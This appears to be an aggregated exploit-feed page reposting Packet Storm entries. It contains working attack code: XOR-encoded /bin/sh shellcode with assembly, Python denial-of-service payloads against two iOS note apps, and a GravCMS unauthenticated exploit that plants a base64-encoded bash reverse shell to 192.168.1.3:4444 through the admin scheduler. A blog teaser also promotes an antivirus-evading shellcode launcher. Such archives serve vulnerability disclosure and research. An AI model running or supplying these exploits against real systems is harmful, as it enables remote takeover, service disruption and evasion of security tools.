Hacking Articles|Raj Chandel's Blog
Web Server Lab Setup for Web Penetration Testing

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Exploit Collector
Linux/x86 execve /bin/sh Shellcode

https://2.bp.blogspot.com/-uXp9StI5Rh0/WWlvYIMdqaI/AAAAAAAAIOg/mHe50EJovPcz8di_9Up4vC4YPRAZ9BUbwCLcBGAs/s1600/h55.png
70 bytes small Linux/x86 shellcode with XOR decoder stub and fstenv MMX FPU spawning a /bin/sh shell.

MD5 | e253cdb3deeb186f54711db1afcee22e

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# Exploit Title: Linux/x86 execve /bin/sh (fstenv eip GetPC technique) (70 bytes, xor encoded)
# Date: 09/06/2021
# Exploit Author: d7x
# Tested on: Ubuntu x86

/***
shellcode with XOR decoder stub and fstenv MMX FPU
spawning a /bin/sh shell

uses the fstenv GetPC technique to get the memory address dynamically
(alternative to jmp-call-pop)

Usage: gcc -fno-stack-protector -z execstack -o mmx-xor-decoder_eip mmx-xor-decoder_eip.c
./mmx-xor-decoder_eip
Shellcode Length: 70
# id
uid=0(root) gid=0(root) groups=0(root)
# ps -p $$
PID TTY TIME CMD
24045 pts/4 00:00:00 sh

*** Created by d7x
https://d7x.promiselabs.net
https://www.promiselabs.net ***
***/

/***
; shellcode assembly

global _start

section .text
_start:
fldz
fstenv [esp-0xc]
pop edi ; put eip into edi
add edi, 37 ; offset to shellcode decoder stub, 0x08048085-0x8048060 (decoder_value, fldz)

lea esi, [edi + 8]
xor ecx, ecx
mov cl, 4

decode:
movq mm0, qword [edi]
movq mm1, qword [esi]
pxor mm0, mm1
movq qword [esi], mm0
add esi, 0x8
loop decode

jmp short EncodedShellcode

shellcode:

decoder_value: db 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d, 0x7d
EncodedShellcode: db 0x4c,0xbd,0x2d,0x15,0x52,0x52,0x0e,0x15,0x15,0x52,0x1f,0x14,0x13,0xf4,0x9e,0x2d,0xf4,0x9f,0x2e,0xf4,0x9c,0xcd,0x76,0xb0,0xfd ; xored against 0x7d

***/

#include
Source:packetstormsecurity.com

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Exploit Collector
Sticky Notes Widget 3.0.6 Denial Of Service

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
Sticky Notes Widget version 3.0.6 suffers from a denial of service vulnerability.

MD5 | 56c6b18d70d4f66715e7d0e23aa17279

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# Exploit Title: Sticky Notes Widget Version 3.0.6 - Denial of Service (PoC)
# Date: 06-07-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/us/app/sticky-notes-widget/id1499269608
# Version: 3.0.6
# Category: DoS (iOS)

##### Vulnerability #####

Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")


Source:packetstormsecurity.com

Exploit Collector
memono Notepad 4.2 Denial Of Service

https://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png
memono Notepad 4.2 denial of service proof of concept exploit.

MD5 | 02eea882c45475062dbace15b6daf8a6

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# Exploit Title: memono Notepad Version 4.2 - Denial of Service (PoC)
# Date: 06-09-2021
# Author: Geovanni Ruiz
# Download Link: https://apps.apple.com/es/app/memono-bloc-de-notas/id906470619
# Version: 4.2
# Category: DoS (iOS)

##### Vulnerability #####

Color Notes is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against iOS 14.2.

##### PoC #####
--> payload.py
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
f = open("payload.txt","w")
f.write(buffer)
f.close()
print ("File created")
except:
print ("File cannot be created")


Source:packetstormsecurity.com

Exploit Collector
GravCMS 1.10.7 Arbitrary YAML Write / Update

https://3.bp.blogspot.com/-SgyDIXUTMbc/WWlu_miSAcI/AAAAAAAAIKE/fKFdSswhFNIqExJ_09QJseTEI_nz_ynRACLcBGAs/s1600/h119.png
GravCMS version 1.10.7 unauthenticated arbitrary YAML write/update exploit. This is a variant exploit of the original discovery made by Mehmet Ince in April of 2021.

MD5 | d339a4b0bbbddf85756e2cdfe1e8e8ed

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# Exploit Title: GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)
# Original Exploit Author: Mehmet Ince
# Vendor Homepage: https://getgrav.org
# Version: 1.10.7
# Tested on: Debian 10
# Author: legend

#/usr/bin/python3

import requests
import sys
import re
import base64
target= "http://192.168.1.2"
#Change base64 encoded value with with below command.
#echo -ne "bash -i >& /dev/tcp/192.168.1.3/4444 0>&1" | base64 -w0
payload=b"""/*<?php
file_put_contents('/tmp/rev.sh',base64_decode('YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMy80NDQ0IDA+JjE='));chmod('/tmp/rev.sh',0755);system('bash /tmp/rev.sh');
"""
s = requests.Session()
r = s.get(target+"/admin")
adminNonce = re.search(r'admin-nonce" value="(.*)"',r.text).group(1)
if adminNonce != "" :
url = target + "/admin/tools/scheduler"
data = "admin-nonce="+adminNonce
data +='&task=SaveDefault&data%5bcustom_jobs%5d%5bncefs%5d%5bcommand%5d=/usr/bin/php&data%5bcustom_jobs%5d%5bncefs%5d%5bargs%5d=-r%20eval%28base64_decode%28%22'+base64.b64encode(payload).decode('utf-8')+'%22%29%29%3b&data%5bcustom_jobs%5d%5bncefs%5d%5bat%5d=%2a%20%2a%20%2a%20%2a%20%2a&data%5bcustom_jobs%5d%5bncefs%5d%5boutput%5d=&data%5bstatus%5d%5bncefs%5d=enabled&data%5bcustom_jobs%5d%5bncefs%5d%5boutput_mode%5d=append'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = s.post(target+"/admin/config/scheduler",data=data,headers=headers)


Source:packetstormsecurity.com

Exploit Collector
n+otes 1.6.2 Denial Of Service

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Kali Linux Tutorials
Charlotte : C++ Fully Undetected Shellcode Launcher

Charlotte is an c++ fully undetected shellcode launcher . Description 13/05/2021: c++ shellcode launcher, fully undetected 0/26 as of 13th May 2021. dynamic invoking of win32 api functions XOR encryption of shellcode and function names randomised XOR keys and variables per run on Kali Linux, simply ‘apt-get install mingw-w64*’ and thats it! 17/05/2021: random strings […]

The post Charlotte : C++ Fully Undetected Shellcode Launcher appeared first on Kali Linux Tutorials.

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